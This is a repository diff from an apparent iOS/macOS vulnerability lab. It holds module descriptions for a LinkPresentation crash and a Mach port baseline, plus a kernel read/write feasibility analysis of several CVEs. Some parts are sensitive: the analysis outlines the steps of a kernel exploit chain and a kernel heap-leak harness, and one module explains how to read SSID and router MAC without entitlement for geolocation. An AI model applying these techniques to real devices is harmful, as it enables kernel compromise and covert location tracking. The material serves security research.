The public delivery path: a loopback endpoint serves one HTML page and one image, the page's og:image points at the two-frame container, and LPMetadataProvider fetches it. LinkPresentation reads the page, fetches the image, builds the pool and enters LPAnimatedImageTranscoder. iOS 27.0/27.1 writes out of bounds on the transcoder queue and dies with SIGBUS/SIGSEGV; 27.2 compares the current frame with frame 0 in encodeNextFrame and fails the transcode without drawing.
|
||||
""",
|
||||
notes: """
|
||||
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
|
||||
"""),
|
||||
|
||||
"kern.ipc.lifecycle": Row(
|
||||
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
|
||||
summary: """
|
||||
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
|
||||
""",
|
||||
notes: """
|
||||
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
|
||||
"""),
|
||||
|
||||
"sc.dynamicstore": Row(
|
||||
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
|
||||
summary: """
|
||||
configd's dynamic store exposes en0/AirPort (SSID_STR, BSSID, channel, auth type) and the service IPv4 entry's ARPResolvedHardwareAddress (router MAC), plus Global/DNS, DHCP leases and Bluetooth/hotspot/AutoUnlock state, to any sandboxed process. SCDynamicStoreCreate + CopyValue needs no com.apple.developer.networking.wifi-info and triggers no location prompt, while the supported CNCopyCurrentNetworkInfo returns nil in the same process. SSID plus router MAC is enough for WiGLE/Google wireless geolocation (~10–30 m).
|
||||
""",
|
||||
notes: """
|
||||
The module prints both paths side by side: the supported API's answer and the raw dynamic-store dictionary. The simulator usually has no en0/AirPort entry (the Mac side runs on utun); a real device on Wi-Fi supplies SSID and ARP. An absent key is still a valid result — it means the platform converged the surface.
|
||||
"""),
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
# Kernel read/write feasibility — high and critical dossiers
|
||||
|
||||
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
|
||||
Question: can any of them be turned into arbitrary kernel read/write that does not
|
||||
panic the device?
|
||||
|
||||
Short answer: **no, not from the material as it stands.** One entry gives a real
|
||||
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
|
||||
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
|
||||
never reach the kernel interface at all. This document records what each primitive
|
||||
actually provides, what an arbitrary-R/W chain still needs, and what was added to
|
||||
the POCs.
|
||||
|
||||
## Guardrails
|
||||
|
||||
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
|
||||
never executed on the host again; its C twin refuses to submit a frame without
|
||||
`--force-host`.
|
||||
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
|
||||
heap is a panic, not a data point.
|
||||
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
|
||||
the write primitives cannot be exercised there either. Their app modules are
|
||||
split into a safe probe and a deliberate fire module.
|
||||
|
||||
## Primitive inventory
|
||||
|
||||
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|
||||
|---|---|---|---|---|---|
|
||||
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
|
||||
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
|
||||
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
|
||||
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
|
||||
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
|
||||
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
|
||||
|
||||
## What arbitrary kernel R/W actually requires
|
||||
|
||||
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
|
||||
one of them is a chain step, not a chain.
|
||||
|
||||
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
|
||||
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
|
||||
pointer, and a heap pointer alone does not give the slide.
|
||||
2. **Heap grooming** — deterministic placement of a victim object next to the
|
||||
corrupted allocation, in the same zone, at the same size class.
|
||||
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
|
||||
slot with attacker-influenced contents, and keep a stale reference alive. For an
|
||||
OOB write: a value and an offset that land on a field worth corrupting.
|
||||
4. **A read/write gadget** — an object whose corrupted field yields a load or store
|
||||
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
|
||||
thread's `pcb` pointer).
|
||||
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
|
||||
protected by PPL on modern devices. A data-only path can sometimes avoid both,
|
||||
but it still needs 1–4.
|
||||
|
||||
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
|
||||
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
|
||||
strategy that the repository does not have.
|
||||
|
||||
## Per-entry notes
|
||||
|
||||
### CVE-2026-112705 — fixed constant, fixed offset
|
||||
|
||||
The driver indexes a layer table with the declared count and writes a constant at a
|
||||
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
|
||||
address. The only observable is a kernel data abort. Calling this "R/W" would
|
||||
require a second bug that turns the corrupted field into a pointer; nothing in the
|
||||
dossier provides one. The correct classification is a reliable kernel DoS.
|
||||
|
||||
### CVE-2026-112507 — reachability closed on the device (2026-10-31)
|
||||
|
||||
The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
|
||||
with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
|
||||
|
||||
- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
|
||||
- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
|
||||
- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
|
||||
- On macOS 27 the same call was swept over 13 combinations of notification type
|
||||
(SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
|
||||
(receive-only, send+receive, send-only; notify port receive or send). Every
|
||||
combination returned -300.
|
||||
|
||||
The kernel refuses to arm a request-table entry for this process. With no entry,
|
||||
the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
|
||||
be driven from an unentitled third-party app, and the "survived" line from the old
|
||||
harness was measuring port churn, not the bug. The published fix shape (NULL checks
|
||||
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
|
||||
reclaimable object.
|
||||
|
||||
**Verdict: closed for this app.** The remaining hypothetical is a platform process
|
||||
that is allowed to register notifications; that is outside Cinder27's reach.
|
||||
|
||||
### CVE-2026-112507 — the race itself
|
||||
|
||||
The ring allocates receive rights, arms two notification kinds per port, tears down
|
||||
half the ring, then sends to the survivors. The request-table index consumers are
|
||||
the target of the race. A weaponised version would need:
|
||||
|
||||
- a win condition that is observable without panicking (a receipt, not a crash);
|
||||
- a same-zone reclaim object with controllable contents (Mach ports themselves are
|
||||
one candidate, but the request-table entry's layout is not attacker-shaped);
|
||||
- a stale consumer that dereferences the reclaimed slot after the free;
|
||||
- a leak to place the reclaim object and to find the kernel base.
|
||||
|
||||
The POC records `-300` and `invalid destination` receipts and reports that the
|
||||
interleaving survived. That is the honest limit of a userspace race harness: it can
|
||||
show the window exists, not that the window is controllable.
|
||||
|
||||
### CVE-2026-113910 — the leak that was worth improving
|
||||
|
||||
This is the only entry where more code produces more signal. The C twin now:
|
||||
|
||||
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
|
||||
chunk and writes none of it);
|
||||
- repeats the sweep `--loop N` times;
|
||||
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
|
||||
(`0xffffffe0…`), kernel-other, or user;
|
||||
- writes the raw readback to `--keep out.bin` for offline analysis;
|
||||
- never dereferences a candidate.
|
||||
|
||||
On the macOS host decmpfs does not engage for a file that already has data (the
|
||||
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
|
||||
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
|
||||
the KASLR step. It still does not write.
|
||||
|
||||
### CVE-2026-112554 — a read-width model, not a kernel reader
|
||||
|
||||
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
|
||||
It proves the scan width (72 B against a 28-B field) but the bytes come from the
|
||||
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
|
||||
would have to run through the storage kext on a mounted image; that is not attempted
|
||||
on the host.
|
||||
|
||||
## What was deliberately not done
|
||||
|
||||
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
|
||||
panic is not evidence of control.
|
||||
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
|
||||
guess is indistinguishable from a bug that does not work.
|
||||
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
|
||||
the free/reclaim/stale-dereference sequence is observed.
|
||||
|
||||
## Bottom line
|
||||
|
||||
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
|
||||
shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
|
||||
by device evidence: notification registration is refused, so the request table is
|
||||
never armed. The maximum safe capability the lab demonstrates is:
|
||||
|
||||
- a repeatable kernel heap **leak** with pointer classification (113910);
|
||||
- a read-width model for the GPT scan (112554);
|
||||
- a race-window harness with receipts (112507);
|
||||
- honest negatives for the write entries that never reach a controllable primitive.
|
||||
|
||||
The next real step is not more code in this repository; it is a device session with
|
||||
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.
|
||||
Reference in new issue
Block a user